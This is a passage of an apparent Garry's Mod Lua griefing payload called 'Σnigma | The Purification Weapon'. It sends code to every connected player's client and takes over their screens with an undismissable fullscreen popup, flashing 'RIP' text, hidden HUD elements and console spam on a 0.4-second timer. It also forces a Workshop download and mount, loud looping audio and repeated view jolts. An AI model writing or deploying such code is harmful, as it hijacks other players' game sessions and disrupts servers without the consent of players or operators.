  445.                 ScrW() /2 +math.random( -2, 2 ),
  446.                 ScrH() /2 +math.random( -2, 2 ) +400,
  447.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  448.                 TEXT_ALIGN_CENTER,
  449.                 TEXT_ALIGN_CENTER,
  450.                 3,
  451.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  452.             )
  453.             draw.SimpleTextOutlined(
  454.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  455.                 "DermaLarge",
  456.                 ScrW() /2 +math.random( -2, 2 ),
  457.                 ScrH() /2 +math.random( -2, 2 ) -430,
  458.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  459.                 TEXT_ALIGN_CENTER,
  460.                 TEXT_ALIGN_CENTER,
  461.                 3,
  462.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  463.             )
  464.             draw.SimpleTextOutlined(
  465.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  466.                 "DermaLarge",
  467.                 ScrW() /2 +math.random( -2, 2 ),
  468.                 ScrH() /2 +math.random( -2, 2 ) +430,
  469.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  470.                 TEXT_ALIGN_CENTER,
  471.                 TEXT_ALIGN_CENTER,
  472.                 3,
  473.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  474.             )
  475.             draw.SimpleTextOutlined(
  476.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  477.                 "DermaLarge",
  478.                 ScrW() /2 +math.random( -2, 2 ),
  479.                 ScrH() /2 +math.random( -2, 2 ) +460,
  480.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  481.                 TEXT_ALIGN_CENTER,
  482.                 TEXT_ALIGN_CENTER,
  483.                 3,
  484.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  485.             )
  486.             draw.SimpleTextOutlined(
  487.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  488.                 "DermaLarge",
  489.                 ScrW() /2 +math.random( -2, 2 ),
  490.                 ScrH() /2 +math.random( -2, 2 ) -460,
  491.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  492.                 TEXT_ALIGN_CENTER,
  493.                 TEXT_ALIGN_CENTER,
  494.                 3,
  495.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  496.             )
  497.             draw.SimpleTextOutlined(
  498.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  499.                 "DermaLarge",
  500.                 ScrW() /2 +math.random( -2, 2 ),
  501.                 ScrH() /2 +math.random( -2, 2 ) +490,
  502.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  503.                 TEXT_ALIGN_CENTER,
  504.                 TEXT_ALIGN_CENTER,
  505.                 3,
  506.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  507.             )
  508.             draw.SimpleTextOutlined(
  509.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  510.                 "DermaLarge",
  511.                 ScrW() /2 +math.random( -2, 2 ),
  512.                 ScrH() /2 +math.random( -2, 2 ) -490,
  513.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  514.                 TEXT_ALIGN_CENTER,
  515.                 TEXT_ALIGN_CENTER,
  516.                 3,
  517.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  518.             )
  519.             draw.SimpleTextOutlined(
  520.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  521.                 "DermaLarge",
  522.                 ScrW() /2 +math.random( -2, 2 ),
  523.                 ScrH() /2 +math.random( -2, 2 ) +520,
  524.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  525.                 TEXT_ALIGN_CENTER,
  526.                 TEXT_ALIGN_CENTER,
  527.                 3,
  528.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  529.             )
  530.             draw.SimpleTextOutlined(
  531.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  532.                 "DermaLarge",
  533.                 ScrW() /2 +math.random( -2, 2 ),
  534.                 ScrH() /2 +math.random( -2, 2 ) -520,
  535.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  536.                 TEXT_ALIGN_CENTER,
  537.                 TEXT_ALIGN_CENTER,
  538.                 3,
  539.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  540.             )
  541.             draw.SimpleTextOutlined(
  542.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  543.                 "DermaLarge",
  544.                 ScrW() /2 +math.random( -2, 2 ),
  545.                 ScrH() /2 +math.random( -2, 2 ) +550,
  546.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  547.                 TEXT_ALIGN_CENTER,
  548.                 TEXT_ALIGN_CENTER,
  549.                 3,
  550.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  551.             )
  552.             draw.SimpleTextOutlined(
  553.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  554.                 "DermaLarge",
  555.                 ScrW() /2 +math.random( -2, 2 ),
  556.                 ScrH() /2 +math.random( -2, 2 ) -550,
  557.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  558.                 TEXT_ALIGN_CENTER,
  559.                 TEXT_ALIGN_CENTER,
  560.                 3,
  561.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  562.             )
  563.         end )
  564.  
  565.         local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  566.         hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  567.  
  568.         surface.PlaySound( "garrysmod/save_load4.wav" )
  569.         surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  570.     ]] )
  571. end )
  572.  
  573. ---CONSOLE
  574. decore = {
  575. [[
  576.        
  577.    
  578.    
  579.    
  580.    
  581.    
  582.    
  583.    
  584.    
  585.    
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  606.    
  607.    
  608.    
  609.    
  610.    
  611.    
  612.    
  613.    
  614.    
  615.    
  616.    
  617.    
  618.                        .,,uod8B8bou,,.
  619.               ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  620.          ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  621.          !...:!TVBBBRPFT||||||||||!!^^""'   ||||
  622.          !.......:!?|||||!!^^""'            ||||
  623.          !.........||||                     ||||
  624.          !.........||||  ENIGMA IS          ||||
  625.          !.........||||                     ||||
  626.          !.........||||       |_|           ||||
  627.          !.........||||       | |ere        ||||
  628.          !.........||||                     ||||
  629.          `.........||||                    ,||||
  630.           .;.......||||               _.-!!|||||
  631.    .,uodWBBBBb.....||||       _.-!!|||||||||!:'
  632. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  633. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!::   `.
  634. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!:::::::::     `.
  635. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;:::       `.  
  636. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::;         iBBbo.
  637. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo.      WBBBBbo.
  638.   `..........:::::::::::::::::::::::;iof688888888888b.     `YBBBP^'
  639.     `........::::::::::::::::;iof688888888888888888888b.     `
  640.       `......:::::::::;iof688888888888888888888888888888b.
  641.         `....:::;iof688888888888888888888888888888888899fT!         Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  642.           `..::!8888888888888888888888888888888899fT|!^"'  
  643.             `' !!988888888888888888888888899fT|!^"'
  644.                 `!!8888888888888888899fT|!^"'
  645.                   `!988888888899fT|!^"'
  646.                     `!9899fT|!^"'
  647.                       `!^"'
  648. ]]
  649. ,
  650. [[
  651.        
  652.    
  653.    
  654.    
  655.    
  656.    
  657.    
  658.    
  659.    
  660.    
  661.    
  662.    
  663.    
  664.    
  665.    
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  667.    
  668.    
  669.    
  670.    
  671.    
  672.    
  673.    
  674.    
  675.    
  676.    
  677.    
  678.    
  679.    
  680.    
  681.    
  682.    
  683.    
  684.    
  685.    
  686.    
  687.    
  688.    
  689.    
  690.    
  691.    
  692.                        .,,uod8B8bou,,.
  693.               ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  694.          ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  695.          !...:!TVBBBRPFT||||||||||!!^^""'   ||||
  696.          !.......:!?|||||!!^^""'            ||||
  697.          !.........||||                     ||||
  698.          !.........||||                     ||||
  699.          !.........||||                     ||||
  700.          !.........||||                     ||||
  701.          !.........||||                     ||||
  702.          !.........||||                     ||||
  703.          `.........||||                    ,||||
  704.           .;.......||||               _.-!!|||||
  705.    .,uodWBBBBb.....||||       _.-!!|||||||||!:'
  706. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  707. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!::   `.
  708. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!:::::::::     `.
  709. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;:::       `.  
  710. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::;         iBBbo.
  711. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo.      WBBBBbo.
  712.   `..........:::::::::::::::::::::::;iof688888888888b.     `YBBBP^'
  713.     `........::::::::::::::::;iof688888888888888888888b.     `
  714.       `......:::::::::;iof688888888888888888888888888888b.
  715.         `....:::;iof688888888888888888888888888888888899fT!         Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  716.           `..::!8888888888888888888888888888888899fT|!^"'  
  717.             `' !!988888888888888888888888899fT|!^"'
  718.                 `!!8888888888888888899fT|!^"'
  719.                   `!988888888899fT|!^"'
  720.                     `!9899fT|!^"'
  721.                       `!^"'
  722. ]]
  723. ,
  724. [[
  725.        
  726.    
  727.    
  728.    
  729.    
  730.    
  731.    
  732.    
  733.    
  734.    
  735.    
  736.    
  737.    
  738.    
  739.    
  740.    
  741.    
  742.    
  743.    
  744.    
  745.    
  746.    
  747.    
  748.    
  749.    
  750.    
  751.    
  752.    
  753.    
  754.    
  755.    
  756.    
  757.    
  758.    
  759.    
  760.    
  761.    
  762.    
  763.    
  764.    
  765.    
  766.                        .,,uod8B8bou,,.
  767.               ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  768.          ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  769.          !...:!TVBBBRPFT||||||||||!!^^""'   ||||
  770.          !.......:!?|||||!!^^""'            ||||
  771.          !.........||||                     ||||
  772.          !.........||||  It's Too Glitchy   ||||
  773.          !.........||||                     ||||
  774.          !.........||||       .   .         ||||
  775.          !.........||||         -           ||||
  776.          !.........||||                     ||||
  777.          `.........||||   HELP ME PLEASE   ,||||
  778.           .;.......||||               _.-!!|||||
  779.    .,uodWBBBBb.....||||       _.-!!|||||||||!:'
  780. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  781. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!::   `.
  782. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!:::::::::     `.
  783. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;:::       `.  
  784. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::;         iBBbo.
  785. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo.      WBBBBbo.
  786.   `..........:::::::::::::::::::::::;iof688888888888b.     `YBBBP^'
  787.     `........::::::::::::::::;iof688888888888888888888b.     `
  788.       `......:::::::::;iof688888888888888888888888888888b.
  789.         `....:::;iof688888888888888888888888888888888899fT!         Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  790.           `..::!8888888888888888888888888888888899fT|!^"'  
  791.             `' !!988888888888888888888888899fT|!^"'
  792.                 `!!8888888888888888899fT|!^"'
  793.                   `!988888888899fT|!^"'
  794.                     `!9899fT|!^"'
  795.                       `!^"'
  796. ]]
  797. ,
  798. [[
  799.        
  800.    
  801.    
  802.    
  803.    
  804.    
  805.    
  806.    
  807.    
  808.    
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  811.    
  812.    
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  815.    
  816.    
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  819.    
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  821.    
  822.    
  823.    
  824.    
  825.    
  826.    
  827.    
  828.    
  829.    
  830.    
  831.    
  832.    
  833.    
  834.    
  835.    
  836.    
  837.    
  838.    
  839.    
  840.                        .,,uod8B8bou,,.
  841.               ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  842.          ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  843.          !...:!TVBBBRPFT||||||||||!!^^""'   ||||
  844.          !.......:!?|||||!!^^""'            ||||
  845.          !.........||||                     ||||
  846.          !.........||||  HELP ME !!!        ||||
  847.          !.........||||                     ||||
  848.          !.........||||      I NEED HELP !  ||||
  849.          !.........||||                     ||||
  850.          !.........||||           ...       ||||
  851.          `.........||||                    ,||||
  852.           .;.......||||               _.-!!|||||
  853.    .,uodWBBBBb.....||||       _.-!!|||||||||!:'
  854. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  855. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!::   `.
  856. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!:::::::::     `.
  857. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;:::       `.  
  858. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::;         iBBbo.
  859. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo.      WBBBBbo.
  860.   `..........:::::::::::::::::::::::;iof688888888888b.     `YBBBP^'
  861.     `........::::::::::::::::;iof688888888888888888888b.     `
  862.       `......:::::::::;iof688888888888888888888888888888b.
  863.         `....:::;iof688888888888888888888888888888888899fT!         Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  864.           `..::!8888888888888888888888888888888899fT|!^"'  
  865.             `' !!988888888888888888888888899fT|!^"'
  866.                 `!!8888888888888888899fT|!^"'
  867.                   `!988888888899fT|!^"'
  868.                     `!9899fT|!^"'
  869.                       `!^"'
  870. ]]
  871. ,
  872. [[
  873.        
  874.    
  875.    
  876.    
  877.    
  878.    
  879.    
  880.    
  881.    
  882.    
  883.    
  884.    
  885.    
  886.    
  887.    
  888.    
  889.    
  890.    
  891.    
  892.    
  893.    
  894.    
  895.    
  896.    
  897.    
  898.    
  899.    
  900.    
  901.    
  902.    
  903.    
  904.    
  905.    
  906.    
  907.    
  908.    
  909.    
  910.    
  911.    
  912.    
  913.    
  914.                        .,,uod8B8bou,,.
  915.               ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  916.          ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  917.          !...:!TVBBBRPFT||||||||||!!^^""'   ||||
  918.          !.......:!?|||||!!^^""'            ||||
  919.          !.........||||                     ||||
  920.          !.........||||  What Is Love       ||||
  921.          !.........||||   Baby Don' Hurt Me ||||
  922.          !.........||||      No More        ||||
  923.          !.........||||                     ||||
  924.          !.........||||    ♪ ♫   ♪ ♫  ♪♫     ||||
  925.          `.........||||                    ,||||
  926.           .;.......||||               _.-!!|||||
  927.    .,uodWBBBBb.....||||       _.-!!|||||||||!:'
  928. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  929. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!::   `.
  930. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!:::::::::     `.
  931. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;:::       `.  
  932. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::;         iBBbo.
  933. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo.      WBBBBbo.
  934.   `..........:::::::::::::::::::::::;iof688888888888b.     `YBBBP^'
  935.     `........::::::::::::::::;iof688888888888888888888b.     `
  936.       `......:::::::::;iof688888888888888888888888888888b.
  937.         `....:::;iof688888888888888888888888888888888899fT!         Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  938.           `..::!8888888888888888888888888888888899fT|!^"'  
  939.             `' !!988888888888888888888888899fT|!^"'
  940.                 `!!8888888888888888899fT|!^"'
  941.                   `!988888888899fT|!^"'
  942.                     `!9899fT|!^"'
  943.                       `!^"'
  944. ]]
  945. }
  946.  
  947. function decorationconsole()
  948.     print(Color( 0, 0, 0 ), table.Random(decore))
  949. end
  950. -- Console Spam
  951. for k, v in pairs( player.GetAll() ) do
  952.  timer.Create("consolespamenigma", 0.4, 0, function() decorationconsole( v ) end )
  953. end
  954.  
  955. ----WEAPON Color
  956. hook.Add("Think","somewhere_over_the_rainbow",function()
  957.     local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
  958.     for _, v in ipairs(player.GetAll()) do
  959.         v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
  960.     end
  961. end)
  962.  
  963. ---TEXT SPAM VISUEL
  964. function enigma()
  965.     enigma = vgui.Create("DFrame")
  966.     enigma:SetPos(0,0)
  967.     enigma:SetSize(ScrW(), ScrH())
  968.     enigma:ShowCloseButton(false)
  969.     enigma:SetTitle("")
  970.     enigma:SetVisible(true)
  971.     enigma:MakePopup()
  972.     enigma:SetDraggable(false)
  973.     enigma.Paint = function(self, w, h)
  974.         draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", ScrW() * 0.5, ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), TEXT_ALIGN_CENTER )
  975.         draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", math.random(0,10), ScrH() * (math.random(0,100)*0.01), Color( 240, 100, 100, math.random(230,255) ), 0 )
  976.         draw.DrawText( "Σ", "lapolice", W * 0.7 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  977.         draw.DrawText( "Σ", "lapolice", W * 0.38 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  978.         draw.DrawText( "Σ", "lapolice", W * 0.9 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  979.         draw.DrawText( "Σ", "lapolice", W * 0.35 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  980.         draw.DrawText( "RIP ;)", "lapolice", W * 0.98 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  981.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  982.         draw.DrawText( "RIP ;)", "lapolice", W * 0.73 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  983.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0.27 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  984.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  985.         draw.DrawText( "RIP ;)", "lapolice", W * 0.05 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  986.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0.11 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  987.         draw.DrawText( "RIP ;)", "lapolice", W * 0.75 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  988.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  989.         draw.DrawText( "RIP ;)", "lapolice", W * 0.2 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  990.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  991.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  992.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 ) 
  993.         draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  994.         draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  995.         draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  996.         draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  997.         draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  998.     end
  999. end
  1000.  
  1001. ---PARTICULE
  1002. SendToClient([=[
  1003. steamworks.FileInfo(1618885873,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)
  1004.  
  1005. timer.Simple(5, function()
  1006.  
  1007.     game.AddParticles( "particles/enigma.pcf" )
  1008.  
  1009.     PrecacheParticleSystem("enigma")
  1010.  
  1011.     for i = 1, 10 do
  1012.         ParticleEffectAttach("enigma", PATTACH_ABSORIGIN_FOLLOW, LocalPlayer(), 0)
  1013.     end
  1014.  
  1015.     local ragtbl = {}
  1016.     for i=1,20 do
  1017.         ragtbl[i] = ClientsideRagdoll( "models/player/gman_high.mdl" )
  1018.         ragtbl[i]:SetNoDraw( false )
  1019.         ragtbl[i]:DrawShadow( true )
  1020.     end
  1021.  
  1022.     local function GetWebMat( strURL )
  1023.         return g_]=].. m_strImageGlobalVar.. [=[[strURL]
  1024.     end
  1025.     local uwu = {}
  1026.  
  1027.     hook.Add("HUDPaint", "okay",function()
  1028.         for k,v in pairs(uwu) do
  1029.             v()
  1030.         end
  1031.     end)
  1032.  
  1033.     SOUNDSTART_CTP = false
  1034.     OZJFOZJCEZIO = true
  1035.  
  1036.  
  1037.     sound.PlayURL(" ","mono noblock noplay",function(s)
  1038.         if not s then return end
  1039.         if SOUNDSTART_CTP then s:Stop() return end
  1040.         SOUNDSTART_CTP = true
  1041.         s:SetVolume(5 )
  1042.         s:Play()
  1043.         s:EnableLooping( true )
  1044.  
  1045.         local ragtbl = {}
  1046.  
  1047.         uwu["CoolEffect"] = function()
  1048.  
  1049.  
  1050.  
  1051.             local tbl = {}
  1052.             s:FFT(tbl,FFT_2048)
  1053.  
  1054.  
  1055.             xpcall(function()
  1056.                 local fal = 0
  1057.             for i=4,6 do
  1058.                 fal = fal + tbl[i]
  1059.             end
  1060.  
  1061.             if fal > 0.8 then
  1062.  
  1063.                 local oneid = "newhud"..math.random(100, 300).."id"
  1064.  
  1065.                 hook.Add( "HUDPaint", oneid, function()
  1066.                     surface.SetDrawColor( 255, 255, 255, 255 )
  1067.  
  1068.                     if GetWebMat( "hud2" ) then -- lui
  1069.                         surface.SetMaterial( GetWebMat("hud2")[1] )
  1070.                         surface.DrawTexturedRect( 0, 0, ScrW(), ScrH() )
  1071.                     end
  1072.  
  1073.                 end )
  1074.  
  1075.                 timer.Simple(0.2, function()
  1076.                     hook.Remove( "HUDPaint", oneid)
  1077.                 end)
  1078.  
  1079.             end
  1080.             end,function()
  1081.             end)
  1082.  
  1083.         end
  1084.  
  1085.     end)
  1086. end)
  1087. ]=])
  1088. game.AddParticles( "particles/enigma.pcf" )
  1089. PrecacheParticleSystem("enigma")
  1090.  
  1091.  
  1092. --Disco time
  1093. lol:PushAction( 10, function( pPlayer )
  1094.     local idx = pPlayer:EntIndex()
  1095.     timer.Create( "beat".. idx, 0.42, 0, function()
  1096.         if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  1097.         pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  1098.     end )
  1099.  
  1100.  
  1101.     lol:SendLua( pPlayer, [[
  1102.         local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  1103.         local time = 0
